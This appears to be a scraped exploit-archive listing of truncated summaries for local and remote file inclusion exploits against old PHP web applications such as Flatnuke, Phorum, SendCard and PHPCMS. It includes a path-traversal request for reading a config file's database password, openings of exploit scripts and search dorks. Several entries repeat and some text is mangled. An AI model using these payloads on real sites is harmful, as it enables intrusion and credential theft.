4Images 1.7.6 Local Inclusion Vulnerability

Bug file : global.php if isset$HTTPGETVARS'l' || isset$HTTPPOSTVARS'l' $requestedl = isset$HTTPGETVARS'l' ? trim$HTTPGETVARS'l' : trim$HTTPPOSTVARS'l'; if $requestedl != $config'languagedir' && fileexistsROOTPATH.'lang/'.$requestedl.'/main.php' $l = $requestedl; $config'languagedir' = $l;...

chicomas-rfilfi.txt

Author: Hadi Kiamarsi Exploit By : Hadi Kiamarsi Email : [email protected] CMS: chicomas.2.0.4 Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip web site : http://ircrash.com File Inclusion Local & Remote Bugs : Local File Inclusion:...

PHPCMS 2007 show_pic.inc.php本地包含漏洞

PHPCMS 网站管理系统是一个基于PHP+MYSQL的全站生成html的建站系统，经过完善设计并适用于各种服务器环境如UNIX、LINUX、WINDOWS等的高效、全新、快速、优秀的网站解决方案 showpic.inc.php 是否配置了src变量，如果有的话就把路径值赋给file。 这里src的类型没有判断。跳到根目录提交配置文件就可以读取数据库的连接密码了。 PHPCMS2007 官方暂时没有解决方案 http://www.phpcms.cn/ POST /picture/showpic.php?src=/../../../config.inc.php...

Entertainment CMS (Local Inclusion) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl Entertainment CMS Remote Command Execution Exploit Download: http://rapidshare.com/files/39640099/enter-cms.rar Exploit: http://site.com/path/custom.php?pagename=Local File Inclusion; Example:...

midiripoff.txt

lintah|adv|15@2006=========php b/d / / / ooo000-------------------------------- -------------000ooo/ / / \ \ \ Indonesian Cyber-Terrorist Grey Hats / / \ / / \ iFX a.k.a inversFX / / | ifx@... | | / \ \ / \ \ | | | ! ! | :. :/ | | | | | | locate : Indonesia, Jakarta | | |...

Midicart vulerable

lintah|adv|15@2006=========MidiCart===php b/d / / / ooo000-------------------------------- -------------000ooo/ / / Indonesian Cyber-Terrorist Grey Hats / / / / iFX a.k.a inversFX / / | ifx@... | | / / | | | ! ! | :. :/ | | | | | | locate : Indonesia, Jakarta | | | -------------------------------...

PHP Upload Center 2.0 (activate.php) File Include Vulnerabilities

Exploit for unknown platform in category web applications ================================================================= PHP Upload Center 2.0 activate.php File Include Vulnerabilities ================================================================= Coding 4 Fun Name = PHP Upload Center v2.0 ...

PostNuke <= 0.763 (PNSV lang) Remote Code Execution Exploit

Exploit for unknown platform in category web applications =========================================================== PostNuke = 0.763 PNSV lang Remote Code Execution Exploit =========================================================== ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+:...

Flatnuke 2.5.8 (userlang) Local Inclusion / Delete All Users Exploit

Exploit for unknown platform in category web applications ==================================================================== Flatnuke 2.5.8 userlang Local Inclusion / Delete All Users Exploit ==================================================================== !/usr/bin/php -q -d shortopentag=o...

Flatnuke 2.5.8 (userlang) Local Inclusion / Delete All Users Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? printr' ----------------------------------------------------------------------------- Flatnuke 2.5.8 "userlang" arbitrary local inclusion/delete all users exploit by rgod [email protected] site: http://retrogod.altervista.o...

Flatnuke 2.5.8 - userlang Local Inclusion Delete All Users

Flatnuke 2.5.8 - userlang Local Inclusion Delete All Users !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i;...

Flatnuke 2.5.8 - 'userlang' Local Inclusion / Delete All Users

!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="...

KGB 1.87 (Local Inclusion) Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================== KGB 1.87 Local Inclusion Remote Code Execution Exploit ======================================================== !/usr/bin/php -q -d shortopentag=on ? $devilteam = " :::::::::...

KGB 1.87 (Local Inclusion) Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? $devilteam = " ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :...

Simple Machines Forum <= 1.1 rc2 (lngfile) Remote Exploit (windows)

Exploit for unknown platform in category web applications =================================================================== Simple Machines Forum = 1.1 rc2 lngfile Remote Exploit windows =================================================================== !/usr/bin/php -q -d shortopentag=on ?...

sendcard_340_xpl.txt

!/usr/bin/php -q -d shortopentag=on php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary local inclusion\n"; echo " works regardless of php.ini settings\n"; echo " and if you succeed ...

SendCard <= 3.4.0 Unauthorized Administrative Access Exploit

Exploit for unknown platform in category web applications ============================================================ SendCard php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary...

SendCard 3.4.0 - Unauthorized Administrative Access

SendCard 3.4.0 - Unauthorized Administrative Access !/usr/bin/php -q -d shortopentag=on php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary local inclusion\n"; echo " works regardles...

Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "PHORUM 5 arbitrary local inclusion exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork: "This forum powered by Phorum."\n\n"; / works with: registerglobals=On...

Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit

Exploit for unknown platform in category web applications =================================================== Phorum 5 pm.php Arbitrary Local Inclusion Exploit =================================================== !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i...